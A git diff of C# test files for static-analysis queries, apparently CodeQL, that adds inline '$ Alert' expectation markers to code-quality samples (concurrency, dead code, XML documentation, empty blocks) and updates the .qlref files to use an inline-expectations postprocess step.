a/csharp/ql/test/query-tests/Concurrency/LockedWait/LockedWait.cs +++ b/csharp/ql/test/query-tests/Concurrency/LockedWait/LockedWait.cs @@ -22,14 +22,14 @@ static void Main() lock (lock1) { - System.Threading.Monitor.Wait(lock2); // BAD + System.Threading.Monitor.Wait(lock2); // BAD // $ Alert } lock (lock1) { lock (lock2) { - System.Threading.Monitor.Wait(lock2); // BAD + System.Threading.Monitor.Wait(lock2); // BAD // $ Alert } } @@ -37,7 +37,7 @@ static void Main() { lock (lock2) { - System.Threading.Monitor.Wait(lock1); // BAD + System.Threading.Monitor.Wait(lock1); // BAD // $ Alert } } } @@ -45,13 +45,13 @@ static void Main() [MethodImpl(MethodImplOptions.Synchronized)] void Lock2() { - System.Threading.Monitor.Wait(lock1); // BAD + System.Threading.Monitor.Wait(lock1); // BAD // $ Alert System.Threading.Monitor.Wait(this); // GOOD - System.Threading.Monitor.Wait(typeof(Program)); // BAD - System.Threading.Monitor.Wait(typeof(Int32)); // BAD + System.Threading.Monitor.Wait(typeof(Program)); // BAD // $ Alert + System.Threading.Monitor.Wait(typeof(Int32)); // BAD // $ Alert lock (lock1) { - System.Threading.Monitor.Wait(lock1); // BAD + System.Threading.Monitor.Wait(lock1); // BAD // $ Alert } } @@ -60,28 +60,28 @@ static void Lock3() { lock (lock1) { - System.Threading.Monitor.Wait(lock1); // BAD + System.Threading.Monitor.Wait(lock1); // BAD // $ Alert } - System.Threading.Monitor.Wait(lock1); // BAD + System.Threading.Monitor.Wait(lock1); // BAD // $ Alert System.Threading.Monitor.Wait(typeof(Program)); // GOOD - System.Threading.Monitor.Wait(typeof(Int32)); // BAD + System.Threading.Monitor.Wait(typeof(Int32)); // BAD // $ Alert } void Lock4() { lock (this) { - System.Threading.Monitor.Wait(typeof(Program)); // BAD + System.Threading.Monitor.Wait(typeof(Program)); // BAD // $ Alert System.Threading.Monitor.Wait(this); // GOOD - System.Threading.Monitor.Wait(lock1); // BAD + System.Threading.Monitor.Wait(lock1); // BAD // $ Alert } lock (typeof(Program)) { System.Threading.Monitor.Wait(typeof(Program)); // GOOD - System.Threading.Monitor.Wait(this); // BAD - System.Threading.Monitor.Wait(lock1); // BAD - System.Threading.Monitor.Wait(typeof(Int32)); // BAD + System.Threading.Monitor.Wait(this); // BAD // $ Alert + System.Threading.Monitor.Wait(lock1); // BAD // $ Alert + System.Threading.Monitor.Wait(typeof(Int32)); // BAD // $ Alert } } } diff --git a/csharp/ql/test/query-tests/Concurrency/LockedWait/LockedWait.qlref b/csharp/ql/test/query-tests/Concurrency/LockedWait/LockedWait.qlref index 559d900bb6cd..64c4021f0d81 100644 --- a/csharp/ql/test/query-tests/Concurrency/LockedWait/LockedWait.qlref +++ b/csharp/ql/test/query-tests/Concurrency/LockedWait/LockedWait.qlref @@ -1 +1,2 @@ -Concurrency/LockedWait.ql \ No newline at end of file +query: Concurrency/LockedWait.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Concurrency/SynchSetUnsynchGet/SynchSetUnsynchGet.cs b/csharp/ql/test/query-tests/Concurrency/SynchSetUnsynchGet/SynchSetUnsynchGet.cs index 8b41604a9e67..288783fabae0 100644 --- a/csharp/ql/test/query-tests/Concurrency/SynchSetUnsynchGet/SynchSetUnsynchGet.cs +++ b/csharp/ql/test/query-tests/Concurrency/SynchSetUnsynchGet/SynchSetUnsynchGet.cs @@ -6,7 +6,7 @@ class C1 object mutex = new Object(); // BAD: getter is unlocked - int BadProperty1 + int BadProperty1 // $ Alert { get { @@ -20,7 +20,7 @@ int BadProperty1 } // BAD: getter is not properly locked - int BadProperty2 + int BadProperty2 // $ Alert { get { diff --git a/csharp/ql/test/query-tests/Concurrency/SynchSetUnsynchGet/SynchSetUnsynchGet.qlref b/csharp/ql/test/query-tests/Concurrency/SynchSetUnsynchGet/SynchSetUnsynchGet.qlref index e1b6f28159c6..4604a0daa6c2 100644 --- a/csharp/ql/test/query-tests/Concurrency/SynchSetUnsynchGet/SynchSetUnsynchGet.qlref +++ b/csharp/ql/test/query-tests/Concurrency/SynchSetUnsynchGet/SynchSetUnsynchGet.qlref @@ -1 +1,2 @@ -Concurrency/SynchSetUnsynchGet.ql \ No newline at end of file +query: Concurrency/SynchSetUnsynchGet.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Concurrency/UnsafeLazyInitialization/UnsafeLazyInitialization.cs b/csharp/ql/test/query-tests/Concurrency/UnsafeLazyInitialization/UnsafeLazyInitialization.cs index cd83b18e65c4..6a292c83ae5b 100644 --- a/csharp/ql/test/query-tests/Concurrency/UnsafeLazyInitialization/UnsafeLazyInitialization.cs +++ b/csharp/ql/test/query-tests/Concurrency/UnsafeLazyInitialization/UnsafeLazyInitialization.cs @@ -23,13 +23,13 @@ void Fn() obj1 = null; } } - } + } // $ Alert // BAD if (obj1 == null) lock (mutex) if (obj1 == null) - obj1 = null; + obj1 = null; // $ Alert // GOOD: A value-type if (cond1) @@ -84,7 +84,7 @@ void Fn() if (null == obj1) obj1 = null; } - } + } // $ Alert // GOOD: not a field object a = null; @@ -103,7 +103,7 @@ void Fn() obj1 = null; } } - } + } // $ Alert // BAD: both obj1 and obj3 are flagged. if (obj1 == null && obj3 == null) @@ -116,7 +116,7 @@ void Fn() obj3 = null; } } - } + } // $ Alert // GOOD: Locking a struct if (struct1 == struct2) @@ -134,7 +134,7 @@ void Fn() if (struct1.x is null) lock (mutex) if(struct1.x is null) - struct1.x = 3; + struct1.x = 3; // $ Alert // GOOD: Tuples are structs so cannot be volatile. if(pair1 == (1,2)) diff --git a/csharp/ql/test/query-tests/Concurrency/UnsafeLazyInitialization/UnsafeLazyInitialization.qlref b/csharp/ql/test/query-tests/Concurrency/UnsafeLazyInitialization/UnsafeLazyInitialization.qlref index 084b5abcc176..a78173ad9fb8 100644 --- a/csharp/ql/test/query-tests/Concurrency/UnsafeLazyInitialization/UnsafeLazyInitialization.qlref +++ b/csharp/ql/test/query-tests/Concurrency/UnsafeLazyInitialization/UnsafeLazyInitialization.qlref @@ -1 +1,2 @@ -Concurrency/UnsafeLazyInitialization.ql \ No newline at end of file +query: Concurrency/UnsafeLazyInitialization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Concurrency/UnsynchronizedStaticAccess/UnsynchronizedStaticAccess.cs b/csharp/ql/test/query-tests/Concurrency/UnsynchronizedStaticAccess/UnsynchronizedStaticAccess.cs index c78ca515b518..eef9339a23fe 100644 --- a/csharp/ql/test/query-tests/Concurrency/UnsynchronizedStaticAccess/UnsynchronizedStaticAccess.cs +++ b/csharp/ql/test/query-tests/Concurrency/UnsynchronizedStaticAccess/UnsynchronizedStaticAccess.cs @@ -20,7 +20,7 @@ public static void aWriter() public void test() { // BAD: unsynchronized access - string val = dict["foo"]; + string val = dict["foo"]; // $ Alert lock (mutex) { @@ -66,6 +66,6 @@ private void testLocked() private void testMethod() { // BAD: called concurrently by thread - string val = dict["foo"]; + string val = dict["foo"]; // $ Alert } } diff --git a/csharp/ql/test/query-tests/Concurrency/UnsynchronizedStaticAccess/UnsynchronizedStaticAccess.qlref b/csharp/ql/test/query-tests/Concurrency/UnsynchronizedStaticAccess/UnsynchronizedStaticAccess.qlref index 59d6716994fd..2fceef745285 100644 --- a/csharp/ql/test/query-tests/Concurrency/UnsynchronizedStaticAccess/UnsynchronizedStaticAccess.qlref +++ b/csharp/ql/test/query-tests/Concurrency/UnsynchronizedStaticAccess/UnsynchronizedStaticAccess.qlref @@ -1 +1,2 @@ -Concurrency/UnsynchronizedStaticAccess.ql \ No newline at end of file +query: Concurrency/UnsynchronizedStaticAccess.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Configuration/PasswordInConfigurationFile/EmptyPasswordInConfigurationFile.qlref b/csharp/ql/test/query-tests/Configuration/PasswordInConfigurationFile/EmptyPasswordInConfigurationFile.qlref index 9dae41964f3f..75899b3d5f2e 100644 --- a/csharp/ql/test/query-tests/Configuration/PasswordInConfigurationFile/EmptyPasswordInConfigurationFile.qlref +++ b/csharp/ql/test/query-tests/Configuration/PasswordInConfigurationFile/EmptyPasswordInConfigurationFile.qlref @@ -1 +1,2 @@ -Configuration/EmptyPasswordInConfigurationFile.ql +query: Configuration/EmptyPasswordInConfigurationFile.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Configuration/PasswordInConfigurationFile/PasswordInConfigurationFile.qlref b/csharp/ql/test/query-tests/Configuration/PasswordInConfigurationFile/PasswordInConfigurationFile.qlref index b440a1f6909b..9ae43388c25c 100644 --- a/csharp/ql/test/query-tests/Configuration/PasswordInConfigurationFile/PasswordInConfigurationFile.qlref +++ b/csharp/ql/test/query-tests/Configuration/PasswordInConfigurationFile/PasswordInConfigurationFile.qlref @@ -1 +1,2 @@ -Configuration/PasswordInConfigurationFile.ql +query: Configuration/PasswordInConfigurationFile.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Configuration/PasswordInConfigurationFile/config.xml b/csharp/ql/test/query-tests/Configuration/PasswordInConfigurationFile/config.xml index a72d5f8fa752..7a5f382236f8 100644 --- a/csharp/ql/test/query-tests/Configuration/PasswordInConfigurationFile/config.xml +++ b/csharp/ql/test/query-tests/Configuration/PasswordInConfigurationFile/config.xml @@ -1,15 +1,15 @@ - - + + - - + + - - - - + + + + diff --git a/csharp/ql/test/query-tests/Dead Code/NonAssignedFields/NonAssignedFields.cs b/csharp/ql/test/query-tests/Dead Code/NonAssignedFields/NonAssignedFields.cs index f7f18a187da2..00f79bc89d74 100644 --- a/csharp/ql/test/query-tests/Dead Code/NonAssignedFields/NonAssignedFields.cs +++ b/csharp/ql/test/query-tests/Dead Code/NonAssignedFields/NonAssignedFields.cs @@ -84,8 +84,8 @@ struct PtrToStructure2 class Fields1 { // BAD: - int BadNonAssigned; - object BadAssignedNull = null; + int BadNonAssigned; // $ Alert + object BadAssignedNull = null; // $ Alert // GOOD: int GoodAssignedByInitializer = 0; diff --git a/csharp/ql/test/query-tests/Dead Code/NonAssignedFields/NonAssignedFields.qlref b/csharp/ql/test/query-tests/Dead Code/NonAssignedFields/NonAssignedFields.qlref index 39148492539f..c2632de3dd2e 100644 --- a/csharp/ql/test/query-tests/Dead Code/NonAssignedFields/NonAssignedFields.qlref +++ b/csharp/ql/test/query-tests/Dead Code/NonAssignedFields/NonAssignedFields.qlref @@ -1 +1,2 @@ -Dead Code/NonAssignedFields.ql \ No newline at end of file +query: Dead Code/NonAssignedFields.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Dead Code/Tests/DeadRefTypes.qlref b/csharp/ql/test/query-tests/Dead Code/Tests/DeadRefTypes.qlref index 56db2195eb87..e8ba93a5e7fc 100644 --- a/csharp/ql/test/query-tests/Dead Code/Tests/DeadRefTypes.qlref +++ b/csharp/ql/test/query-tests/Dead Code/Tests/DeadRefTypes.qlref @@ -1 +1,2 @@ -Dead Code/DeadRefTypes.ql \ No newline at end of file +query: Dead Code/DeadRefTypes.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Dead Code/Tests/UnusedField.qlref b/csharp/ql/test/query-tests/Dead Code/Tests/UnusedField.qlref index 8464f79cd9bc..3803f9ec7bad 100644 --- a/csharp/ql/test/query-tests/Dead Code/Tests/UnusedField.qlref +++ b/csharp/ql/test/query-tests/Dead Code/Tests/UnusedField.qlref @@ -1 +1,2 @@ -Dead Code/UnusedField.ql +query: Dead Code/UnusedField.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Dead Code/Tests/UnusedMethod.qlref b/csharp/ql/test/query-tests/Dead Code/Tests/UnusedMethod.qlref index efc3937de8c0..9edba82f5dbf 100644 --- a/csharp/ql/test/query-tests/Dead Code/Tests/UnusedMethod.qlref +++ b/csharp/ql/test/query-tests/Dead Code/Tests/UnusedMethod.qlref @@ -1 +1,2 @@ -Dead Code/UnusedMethod.ql +query: Dead Code/UnusedMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Dead Code/Tests/deadcode.cs b/csharp/ql/test/query-tests/Dead Code/Tests/deadcode.cs index d6905a6100fd..486e811ee02c 100644 --- a/csharp/ql/test/query-tests/Dead Code/Tests/deadcode.cs +++ b/csharp/ql/test/query-tests/Dead Code/Tests/deadcode.cs @@ -21,7 +21,7 @@ sealed class Exported : Interface1 } // BAD: Class is dead -sealed class Dead2 +sealed class Dead2 // $ Alert[cs/unused-reftype] { } @@ -82,7 +82,7 @@ static int Main(string[] args) public struct S { - C Field; // dead + C Field; // dead // $ Alert[cs/unused-field] class C { } // not dead } diff --git a/csharp/ql/test/query-tests/Dead Code/Tests/regression.cs b/csharp/ql/test/query-tests/Dead Code/Tests/regression.cs index 3f6a4a2937b4..bc4a3d6ce893 100644 --- a/csharp/ql/test/query-tests/Dead Code/Tests/regression.cs +++ b/csharp/ql/test/query-tests/Dead Code/Tests/regression.cs @@ -4,7 +4,7 @@ class Test : IComparer { // this is really dead - private string dead = "Actual dead field"; + private string dead = "Actual dead field"; // $ Alert[cs/unused-field] private static void Main(string[] args) { @@ -48,7 +48,7 @@ private static int PartCompare(string a, string b) } // this is really dead - private void ActualDeadMethod() { } + private void ActualDeadMethod() { } // $ Alert[cs/unused-method] // this is live private void DynamicSig(dynamic d) { } @@ -57,7 +57,7 @@ private void DynamicSig(dynamic d) { } private void DynamicallyCalled(int i) { } // this is dead - private void NotDynamicallyCalled(int i) { } + private void NotDynamicallyCalled(int i) { } // $ Alert[cs/unused-method] // this is live private void DynamicallyCalledOnDynamicType(int i) { } @@ -74,14 +74,14 @@ public static int GenericTest() static int liveFieldAccessedFromGeneric; // BAD: This is dead - void DeadCaller() + void DeadCaller() // $ Alert[cs/unused-method] { DeadGeneric(0); DeadGeneric(0.0); } // BAD: This is dead (called from dead) - void DeadGeneric(V a) { } + void DeadGeneric(V a) { } // $ Alert[cs/unused-method] } class GenericClass @@ -102,18 +102,18 @@ int LiveGeneric(V v) int liveField; // BAD: These are not live - void DeadGeneric1() + void DeadGeneric1() // $ Alert[cs/unused-method] { DeadGeneric2(0); DeadGeneric2(1.0); } - void DeadGeneric2(V v) { } + void DeadGeneric2(V v) { } // $ Alert[cs/unused-method] // BAD: This is dead (never accessed) - int deadField; + int deadField; // $ Alert[cs/unused-field] // BAD: This is dead (only ever written) - int deadWrittenField; + int deadWrittenField; // $ Alert[cs/unused-field] } class MemberInitialization @@ -126,7 +126,7 @@ class ThisIsLive : ITest { } public class FieldOutParam { // BAD: Only written (by an out param) - int deadField; + int deadField; // $ Alert[cs/unused-field] public void Test() { diff --git a/csharp/ql/test/query-tests/Documentation/XmldocExtraParam.qlref b/csharp/ql/test/query-tests/Documentation/XmldocExtraParam.qlref index fd8371466b6f..8439ce413ec1 100644 --- a/csharp/ql/test/query-tests/Documentation/XmldocExtraParam.qlref +++ b/csharp/ql/test/query-tests/Documentation/XmldocExtraParam.qlref @@ -1 +1,2 @@ -Documentation/XmldocExtraParam.ql +query: Documentation/XmldocExtraParam.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Documentation/XmldocExtraTypeParam.qlref b/csharp/ql/test/query-tests/Documentation/XmldocExtraTypeParam.qlref index bc8515e6675c..67de8cb4600e 100644 --- a/csharp/ql/test/query-tests/Documentation/XmldocExtraTypeParam.qlref +++ b/csharp/ql/test/query-tests/Documentation/XmldocExtraTypeParam.qlref @@ -1 +1,2 @@ -Documentation/XmldocExtraTypeParam.ql \ No newline at end of file +query: Documentation/XmldocExtraTypeParam.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Documentation/XmldocMissing.qlref b/csharp/ql/test/query-tests/Documentation/XmldocMissing.qlref index 281a5cb07029..6ca5136a2e38 100644 --- a/csharp/ql/test/query-tests/Documentation/XmldocMissing.qlref +++ b/csharp/ql/test/query-tests/Documentation/XmldocMissing.qlref @@ -1 +1,2 @@ -Documentation/XmldocMissing.ql \ No newline at end of file +query: Documentation/XmldocMissing.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Documentation/XmldocMissingException.qlref b/csharp/ql/test/query-tests/Documentation/XmldocMissingException.qlref index ec059908e38c..4cd247832588 100644 --- a/csharp/ql/test/query-tests/Documentation/XmldocMissingException.qlref +++ b/csharp/ql/test/query-tests/Documentation/XmldocMissingException.qlref @@ -1 +1,2 @@ -Documentation/XmldocMissingException.ql +query: Documentation/XmldocMissingException.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Documentation/XmldocMissingParam.qlref b/csharp/ql/test/query-tests/Documentation/XmldocMissingParam.qlref index 9a8d6f801b7b..9b34d284c01d 100644 --- a/csharp/ql/test/query-tests/Documentation/XmldocMissingParam.qlref +++ b/csharp/ql/test/query-tests/Documentation/XmldocMissingParam.qlref @@ -1 +1,2 @@ -Documentation/XmldocMissingParam.ql +query: Documentation/XmldocMissingParam.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Documentation/XmldocMissingReturn.qlref b/csharp/ql/test/query-tests/Documentation/XmldocMissingReturn.qlref index 6eb8865b4b5d..ad0ea9697424 100644 --- a/csharp/ql/test/query-tests/Documentation/XmldocMissingReturn.qlref +++ b/csharp/ql/test/query-tests/Documentation/XmldocMissingReturn.qlref @@ -1 +1,2 @@ -Documentation/XmldocMissingReturn.ql +query: Documentation/XmldocMissingReturn.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Documentation/XmldocMissingSummary.qlref b/csharp/ql/test/query-tests/Documentation/XmldocMissingSummary.qlref index 5046e31a3db4..b90b6e39ce7f 100644 --- a/csharp/ql/test/query-tests/Documentation/XmldocMissingSummary.qlref +++ b/csharp/ql/test/query-tests/Documentation/XmldocMissingSummary.qlref @@ -1 +1,2 @@ -Documentation/XmldocMissingSummary.ql +query: Documentation/XmldocMissingSummary.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Documentation/XmldocMissingTypeParam.qlref b/csharp/ql/test/query-tests/Documentation/XmldocMissingTypeParam.qlref index f06bbb263d02..7090a1612d89 100644 --- a/csharp/ql/test/query-tests/Documentation/XmldocMissingTypeParam.qlref +++ b/csharp/ql/test/query-tests/Documentation/XmldocMissingTypeParam.qlref @@ -1 +1,2 @@ -Documentation/XmldocMissingTypeParam.ql +query: Documentation/XmldocMissingTypeParam.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Documentation/documentation.cs b/csharp/ql/test/query-tests/Documentation/documentation.cs index 810e9b5a34af..1efeeb8d4599 100644 --- a/csharp/ql/test/query-tests/Documentation/documentation.cs +++ b/csharp/ql/test/query-tests/Documentation/documentation.cs @@ -30,13 +30,13 @@ public virtual int method1(int p1, int p2) /// BAD: This XML comment is missing several tags /// BAD: This parameter does not exist /// BAD: This should say Exception2 - public int method2(int p1, int p2) + public int method2(int p1, int p2) // $ Alert[cs/xmldoc/missing-exception] Alert[cs/xmldoc/missing-parameter] Alert[cs/xmldoc/missing-return] Alert[cs/xmldoc/missing-summary] Alert[cs/xmldoc/unknown-parameter] { return p1 > 0 ? throw new Exception2() : p2; } // BAD: Missing documentation comment - public int method3() + public int method3() // $ Alert[cs/xmldoc/missing-xmldoc] { return 0; } @@ -48,7 +48,7 @@ internal int method4() } // BAD: Public class is not documented - public class Class2 + public class Class2 // $ Alert[cs/xmldoc/missing-xmldoc] { } @@ -71,7 +71,7 @@ public Class1(int p) } // BAD: Constructor is public and not documented - public Class1(int a, int b) + public Class1(int a, int b) // $ Alert[cs/xmldoc/missing-xmldoc] { } @@ -80,7 +80,7 @@ public Class1(int a, int b) /// BAD: Contains an extra typeparam /// /// The type - class Class4 { } + class Class4 { } // $ Alert[cs/xmldoc/missing-type-parameter] Alert[cs/xmldoc/unknown-type-parameter] /// /// GOOD: Type params are correctly labeled @@ -95,7 +95,7 @@ class Class5 { } /// /// BAD typeparam /// GOOD typeparam - void method5() { } + void method5() { } // $ Alert[cs/xmldoc/missing-type-parameter] Alert[cs/xmldoc/unknown-type-parameter] // BAD: These fields are empty /// @@ -103,7 +103,7 @@ void method5() { } /// /// /// - public virtual int method4(int p1, int p2) { return p1; } + public virtual int method4(int p1, int p2) { return p1; } // $ Alert[cs/xmldoc/missing-parameter] Alert[cs/xmldoc/missing-return] Alert[cs/xmldoc/missing-summary] Alert[cs/xmldoc/missing-type-parameter] } class Class2 : Class1 @@ -132,7 +132,7 @@ public void method5() // BAD: Has only System.Runtime.CompilerServices attribute [System.Runtime.CompilerServices.My2] - public void method6() + public void method6() // $ Alert[cs/xmldoc/missing-xmldoc] { } } diff --git a/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.cs b/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.cs index b3e0cff6ae30..4095af2863a4 100644 --- a/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.cs +++ b/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.cs @@ -7,7 +7,7 @@ static void Method(string[] args) // BAD foreach (var arg in args) { - } + } // $ Alert // OK - comment foreach (var arg in args) @@ -24,7 +24,7 @@ static void Method(string[] args) // BAD if (true) { - } + } // $ Alert // OK - comment if (true) @@ -46,6 +46,6 @@ static void Method(string[] args) // BAD: there is no update for (int i = 0; i < 10;) { - } + } // $ Alert } } diff --git a/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.qlref b/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.qlref index af8a3a21f8a7..5fe264815b80 100644 --- a/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.qlref +++ b/csharp/ql/test/query-tests/EmptyBlock/EmptyBlock.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/EmptyBlock.ql +query: Likely Bugs/Statements/EmptyBlock.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/CatchOfGenericException/CatchOfGenericException.cs b/csharp/ql/test/query-tests/Language Abuse/CatchOfGenericException/CatchOfGenericException.cs index 64c4038d3319..45dc182cc729 100644 --- a/csharp/ql/test/query-tests/Language Abuse/CatchOfGenericException/CatchOfGenericException.cs +++ b/csharp/ql/test/query-tests/Language Abuse/CatchOfGenericException/CatchOfGenericException.cs @@ -9,14 +9,14 @@ void M(bool rethrow) } catch (Exception) { // BAD - } + } // $ Alert try { } catch { // BAD - } + } // $ Alert try { @@ -53,6 +53,6 @@ double reciprocal(double input) { // BAD // division by zero, return 0 return 0; - } + } // $ Alert } } diff --git a/csharp/ql/test/query-tests/Language Abuse/CatchOfGenericException/CatchOfGenericException.qlref b/csharp/ql/test/query-tests/Language Abuse/CatchOfGenericException/CatchOfGenericException.qlref index 9606fc128a75..c5b986a2b663 100644 --- a/csharp/ql/test/query-tests/Language Abuse/CatchOfGenericException/CatchOfGenericException.qlref +++ b/csharp/ql/test/query-tests/Language Abuse/CatchOfGenericException/CatchOfGenericException.qlref @@ -1 +1,2 @@ -Language Abuse/CatchOfGenericException.ql \ No newline at end of file +query: Language Abuse/CatchOfGenericException.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/ChainedIs/ChainedIs.cs b/csharp/ql/test/query-tests/Language Abuse/ChainedIs/ChainedIs.cs index ffe1da808750..06899677ffe8 100644 --- a/csharp/ql/test/query-tests/Language Abuse/ChainedIs/ChainedIs.cs +++ b/csharp/ql/test/query-tests/Language Abuse/ChainedIs/ChainedIs.cs @@ -62,7 +62,7 @@ public void M(object x) } else if (x is F) { - } // BAD + } // BAD // $ Alert } class A { } diff --git a/csharp/ql/test/query-tests/Language Abuse/ChainedIs/ChainedIs.qlref b/csharp/ql/test/query-tests/Language Abuse/ChainedIs/ChainedIs.qlref index 0d67fca32396..a46923159024 100644 --- a/csharp/ql/test/query-tests/Language Abuse/ChainedIs/ChainedIs.qlref +++ b/csharp/ql/test/query-tests/Language Abuse/ChainedIs/ChainedIs.qlref @@ -1 +1,2 @@ -Language Abuse/ChainedIs.ql +query: Language Abuse/ChainedIs.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/DubiousTypeTestOfThis/DubiousTypeTestOfThis.cs b/csharp/ql/test/query-tests/Language Abuse/DubiousTypeTestOfThis/DubiousTypeTestOfThis.cs index a6cad0e456e4..c8a3e85f3630 100644 --- a/csharp/ql/test/query-tests/Language Abuse/DubiousTypeTestOfThis/DubiousTypeTestOfThis.cs +++ b/csharp/ql/test/query-tests/Language Abuse/DubiousTypeTestOfThis/DubiousTypeTestOfThis.cs @@ -4,10 +4,10 @@ class BaseClass { public int add(int x) { - if (this is FiveAdder) + if (this is FiveAdder) // $ Alert return x + 5; - if (this is TenAdder) + if (this is TenAdder) // $ Alert return x + 10; return 0; diff --git a/csharp/ql/test/query-tests/Language Abuse/DubiousTypeTestOfThis/DubiousTypeTestOfThis.qlref b/csharp/ql/test/query-tests/Language Abuse/DubiousTypeTestOfThis/DubiousTypeTestOfThis.qlref index cf59e9dbd51a..c51f8fb4f465 100644 --- a/csharp/ql/test/query-tests/Language Abuse/DubiousTypeTestOfThis/DubiousTypeTestOfThis.qlref +++ b/csharp/ql/test/query-tests/Language Abuse/DubiousTypeTestOfThis/DubiousTypeTestOfThis.qlref @@ -1 +1,2 @@ -Language Abuse/DubiousTypeTestOfThis.ql \ No newline at end of file +query: Language Abuse/DubiousTypeTestOfThis.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/DubiousTypeTestOfThis/DubiousTypeTestOfThis2.cs b/csharp/ql/test/query-tests/Language Abuse/DubiousTypeTestOfThis/DubiousTypeTestOfThis2.cs index 0c3a8e543f7d..6fc16c4428c7 100644 --- a/csharp/ql/test/query-tests/Language Abuse/DubiousTypeTestOfThis/DubiousTypeTestOfThis2.cs +++ b/csharp/ql/test/query-tests/Language Abuse/DubiousTypeTestOfThis/DubiousTypeTestOfThis2.cs @@ -5,7 +5,7 @@ class C { void M() { - if (this is D) ; // BAD + if (this is D) ; // BAD // $ Alert Debug.Assert(this is D); // GOOD } } diff --git a/csharp/ql/test/query-tests/Language Abuse/ForeachCapture/ForeachCapture.cs b/csharp/ql/test/query-tests/Language Abuse/ForeachCapture/ForeachCapture.cs index 18fdcc9c1bc9..9af0f31392da 100644 --- a/csharp/ql/test/query-tests/Language Abuse/ForeachCapture/ForeachCapture.cs +++ b/csharp/ql/test/query-tests/Language Abuse/ForeachCapture/ForeachCapture.cs @@ -11,7 +11,7 @@ static void Main(string[] args) foreach (var arg in args) { // BAD: Storing a delegate in an event. - event1 += () => arg; + event1 += () => arg; // $ Alert // GOOD: Make a copy of the loop variable. var argCopy = arg; @@ -21,7 +21,7 @@ static void Main(string[] args) goodUseOfDelegate(() => arg); // BAD: Calling a function which stores the delegate - badUseOfDelegate(() => arg); + badUseOfDelegate(() => arg); // $ Alert // GOOD: The delegate does not escape the loop Del d = () => arg; diff --git a/csharp/ql/test/query-tests/Language Abuse/ForeachCapture/ForeachCapture.qlref b/csharp/ql/test/query-tests/Language Abuse/ForeachCapture/ForeachCapture.qlref index 733f31198af9..01f701f769f9 100644 --- a/csharp/ql/test/query-tests/Language Abuse/ForeachCapture/ForeachCapture.qlref +++ b/csharp/ql/test/query-tests/Language Abuse/ForeachCapture/ForeachCapture.qlref @@ -1 +1,2 @@ -Language Abuse/ForeachCapture.ql +query: Language Abuse/ForeachCapture.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/MissedTernaryOpportunity/MissedTernaryOpportunity.cs b/csharp/ql/test/query-tests/Language Abuse/MissedTernaryOpportunity/MissedTernaryOpportunity.cs index 407bde9643e4..82bdb9152162 100644 --- a/csharp/ql/test/query-tests/Language Abuse/MissedTernaryOpportunity/MissedTernaryOpportunity.cs +++ b/csharp/ql/test/query-tests/Language Abuse/MissedTernaryOpportunity/MissedTernaryOpportunity.cs @@ -6,11 +6,11 @@ public bool M() { if (true) { return false; } else { Field++; return true; } // GOOD return true ? false : true; // GOOD - if (true) return false; else { { return true; } } // BAD + if (true) return false; else { { return true; } } // BAD // $ Alert var x = ""; if (true) { Field = 0; } else { x = ""; } // GOOD if (true) { Field = 0; } else { x = ""; Field = 1; } // GOOD Field = true ? 0 : 1; // GOOD - if (true) { this.Field = 0; } else Field = 1; // BAD + if (true) { this.Field = 0; } else Field = 1; // BAD // $ Alert } } diff --git a/csharp/ql/test/query-tests/Language Abuse/MissedTernaryOpportunity/MissedTernaryOpportunity.qlref b/csharp/ql/test/query-tests/Language Abuse/MissedTernaryOpportunity/MissedTernaryOpportunity.qlref index 7efb97ac6fe4..4d45b7edd2fb 100644 --- a/csharp/ql/test/query-tests/Language Abuse/MissedTernaryOpportunity/MissedTernaryOpportunity.qlref +++ b/csharp/ql/test/query-tests/Language Abuse/MissedTernaryOpportunity/MissedTernaryOpportunity.qlref @@ -1 +1,2 @@ -Language Abuse/MissedTernaryOpportunity.ql +query: Language Abuse/MissedTernaryOpportunity.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/NestedIf/NestedIf.qlref 